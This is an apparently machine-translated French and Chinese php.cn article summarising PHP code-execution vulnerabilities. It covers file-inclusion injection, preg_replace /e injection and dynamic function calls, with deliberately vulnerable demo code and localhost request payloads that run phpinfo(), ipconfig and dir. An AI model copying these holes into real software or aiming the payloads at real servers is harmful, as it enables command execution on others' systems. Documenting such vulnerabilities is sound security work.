Résumé des vulnérabilités d'exécution de code PHP

不言
Libérer: 2023-03-24 18:30:02
original
5924 Les gens l'ont consulté

Cet article présente un résumé des vulnérabilités d'exécution de code PHP, qui a une certaine valeur de référence. Maintenant, je le partage avec tout le monde. Les amis dans le besoin peuvent s'y référer

Résumé des vulnérabilités d'exécution de code PHP

<.>


ref : http://blog.csdn.net/kuangmang/article/details/27170309

ref : http://blog.csdn.net/fuckcat_2333/article/details /52125951

1 Fonction d'exécution de code

Les fonctions qui peuvent exécuter du code en php sont : eval(), assert(), ``, system(), exec(), shell_exec() , Lorsque les paramètres (partiellement) dans passthru(), pcntl_exec()

ces fonctions sont contrôlables, des vulnérabilités d'injection de commandes peuvent survenir. Escapeshellarg est généralement utilisé pour traiter les paramètres, mais il existe une vulnérabilité dans cette fonction dans la version inférieure de la fonction de la bibliothèque PHP (raison : les barres obliques inverses ne sont pas filtrées sous Windows), vous devez donc faire attention.

2 Injection de code d'inclusion de fichier

Lorsque des variables d'entrée sont incluses dans des fonctions d'inclusion de fichier (include, include_once, require, require_once), une injection de code peut se produire.

Conditions : Allow_url_include=On, PHP Version>=5.2.0
Code démo :

<?phpinclude($_GET[&#39;a&#39;]);?>
Copier après la connexion
Visitez http://127.0.0.1/demo.php?a=data:text/ plain,%3C?php%20phpinfo%28%29;?%3E, phpinfo() est exécuté.

3 Injection de code d'expression régulière

Fonction preg_replace() :

Lorsque le modificateur de mode /e existe dans le modèle et correspond, le code du remplacement peut être exécuté.

3.1 第一个(pattern)参数注入

条件:magic_quotes_gpc=Off,pattern参数中注入/e选项;
demo code:

<?phpecho $regexp = $_GET[&#39;reg&#39;];
$var = &#39;<php>phpinfo()</php>';
preg_replace("/<php>(.*?)$regexp", '\\1', $var);?>
Copier après la connexion

访问http://127.0.0.1/preg_replace1.php?reg=%3C/php%3E/e
即会执行phpinfo()

3.2 第二个人(replacement)参数注入

条件:pattern参数中带/e

<?phppreg_replace("/testxxx/e",$_GET[&#39;h&#39;],"jutst test testxxx!");?>
Copier après la connexion

提交 http://127.0.0.1/demo2.php?h=phpinfo()时, 即 执行phpinfo()。

3.3 第三个参数注射

4 动态代码执行

4.1 动态变量代码执行

<?php$dyn_func = $_GET[&#39;dyn_func&#39;];
$argument = $_GET[&#39;argument&#39;];
$dyn_func($argument);?>
Copier après la connexion

当http://127.0.0.1/dyn_func.php?dyn_func=system&argument=ipconfig时,执行ipconfig命令

4.2 动态函数代码执行

关键函数:create_function
demo code:

<?php$foobar = $_GET[&#39;foobar&#39;];$dyn_func = create_function(&#39;$foobar&#39;, "echo $foobar;");$dyn_func(&#39;&#39;);?>
Copier après la connexion

当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令

5 其他

array_map()函数
ob_start()函数???
函数处理函数:http://www.php.net/manual/zh/book.funchand.php

相关推荐:

PHP执行程序php.exe参数解析

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:php.cn
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal
À propos de nous Clause de non-responsabilité Sitemap
Site Web PHP chinois:Formation PHP en ligne sur le bien-être public,Aidez les apprenants PHP à grandir rapidement!